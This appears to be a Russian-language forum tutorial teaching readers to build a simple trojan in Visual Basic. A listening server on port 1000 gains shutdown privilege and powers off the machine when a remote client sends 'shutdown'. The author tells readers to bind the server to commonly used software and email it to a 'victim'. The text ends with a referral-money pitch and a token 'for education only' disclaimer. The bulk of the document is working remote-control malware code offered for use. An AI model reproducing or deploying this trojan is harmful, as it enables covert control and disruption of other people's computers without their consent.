Здоровенько буллы! Сегодня я покажу нашей группе простой пример написания трояна. Будем использовать VB. Для начала немного теории. Мы будем использовать практически стандартный ActiveX компонент, он называется MSWinsock. Этот компонент служит для связи между двумя компьютерами. Единственный его минус это частые ошибки протокола. Например, клиент будет работать с сервером, если только тот запущен первым, иначе он выдаст нехорошую ошибку. Но мы будем надеяться на лучшее. Сервер мы джойнерим (если не ясно задаем в форуме в разделе вопросы, что это такое) с каким-нибудь нужным программным обеспечением и посылаем на e-mail жертвы. Нужно только подобрать такое ПО, которое должно быть в постоянном обороте у юзверя. А клиент оставляем у себя, он будет выполнять функцию передатчика команд серверу. А теперь есть загвоздка нам нужно знать IP адрес сервера, чтобы это сделать нужно приписать одну очень важную функцию серверу. Но это потом, сейчас мы создаем «домашний» троян т.е. будем использовать все на своем компе.
И так поехали! Начнем с сервера. Создадим стандартный проект, и кинем на форму Winsock (Проект(Project)\Компоненты(Components) и выбираем MSWinsock) . В раздел General скопируй вот этот код:
Private Const ANYSIZE_ARRAY = 1
Private Type LUID
LowPart As Long
HighPart As Long
End Type
Private Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type
Private Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type
' Reboot system code
Private Enum eParam
EWX_LOGOFF = 0
EWX_SHUTDOWN = 1
EWX_REBOOT = 2
EWX_FORCE = 4
End Enum
Private Declare Function ExitWindowsEx Lib "user32" ( ByVal uFlags As Long , ByVal dwReserved As Long ) As Long
Private Declare Function OpenProcessToken Lib "advapi32.dll" ( ByVal ProcessHandle As Long , ByVal DesiredAccess As Long , TokenHandle As Long ) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" ( ByVal lpSystemName As String , ByVal lpName As String , lpLuid As LUID) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" ( ByVal TokenHandle As Long , ByVal DisableAllPrivileges As Long , NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long , PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long ) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Function ShutdownEx( ByVal fParam As eParam) As Boolean
Dim Ret As Long
Dim hToken As Long
Dim Tkp As TOKEN_PRIVILEGES
Dim TkpOld As TOKEN_PRIVILEGES
Dim aOkReboot As Boolean
Const SE_SHUTDOWN_NAME = "SeShutdownPrivilege"
' Для перезагрузки и выключения в Windows XP требуется
' установка процессу привилегии "SeShutdownPrivilege",
' иначе попытка выполнения этих действий завершится не удачей .
' В Win 98 установка привилегии не требуется .
If ((fParam And EWX_SHUTDOWN) = EWX_SHUTDOWN) Or ((fParam And EWX_REBOOT) = EWX_REBOOT) Then
If OpenProcessToken(GetCurrentProcess(), 32 Or 8, hToken) Then
Ret = LookupPrivilegeValue(vbNullString, SE_SHUTDOWN_NAME, Tkp.Privileges(0).pLuid)
Tkp.PrivilegeCount = 1
Tkp.Privileges(0).Attributes = 2
aOkReboot = AdjustTokenPrivileges(hToken, 0, Tkp, LenB(TkpOld), TkpOld, Ret)
End If
End If
ShutdownEx = (ExitWindowsEx(fParam, 0) <> 0)
End Function
Не пугайся за код. Все что тебе отсюда надо я тебе расскажу. Этот код выключает компьютер. Для того чтобы его выключить нам понадобится функция, но это все потом…
В событии загрузки формы ты должен указать какой порт должен слушать сервер и заставить его слушать
Private Sub Form_Load() Winsock1.LocalPort = 1000 ' указываем какой порт должен слушать сервер Winsock1.Listen ' заставляем его слушать End Sub
Теперь нам надо написать процедуру обработки запроса на соединение. Для этого напишите такой код: Private Sub winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close ' если сервер не закрыт, то закрываем его Winsock1.Accept requestID ' принимаем запрос End Sub
Еще осталось написать процедуру приема данных:
Private Sub winsock1_dataArrival(ByVal BytesTotal As Long) Dim Data As String 'обявляем переменную для хранения данных Winsock1.GetData Data 'присваиваем переменной Data все принятые данные
If Data = “shutdown” then
ShutdownEx EWX_SHUTDOWN
End if
End Sub
Все сервер готов! Теперь приступим к созданию клиента.
Открой Visual Basic еще раз (первый не закрывай). Создай стандартный проект, и добавь компонент "MicrosoftWinSock control". Добавь кнопку и назови её "shutdown", а в свойстве caption напиши "Вырубить". В событии Form_Load напиши код: Public Sub Form_Load () Winsock1.RemoteHost = "***.***.***.***" ' указываем адресс сервера (здесь надо указать свой адрес – смотрим в форуме, раздел - функции) Winsock1.RemotePort = 1000 ' указываем порт сервера (в нашем случае 1000) Winsock1.Connect ' вызываем коннект End Sub
В коде кнопки "shutdown" пишешь:
Private Sub shutdown_Click() Winsock1.SendData "shutdown" ' посылаем серверу комманду "shutdown" End Sub
СОХРАНЯЕМ! Запускаем сначала сервер, затем клиент. Жмем на кнопку! И! Круто! Комп вырубился
Автор: Azazel213
Сайт: oxegengroup.ucoz.ru
Зарабатывай вместе со мной. 12 рублей за один клик. Просьба стать моим рефералом
*В данном уроке может говориться о несуществующих форумах, т.к. этот урок печатался во время разработки сайта. Обратитесь к админу.
**Статья носит только познавательный характер, ни о каких действий, чтобы подтолкнуть на совершение преступления здесь не говорилось
***Если вы не зарегистрировались на сайте, убедительная просьба: «Зарегистрироваться!»
Будьте здоровы!
Источник: http://Отсутствует |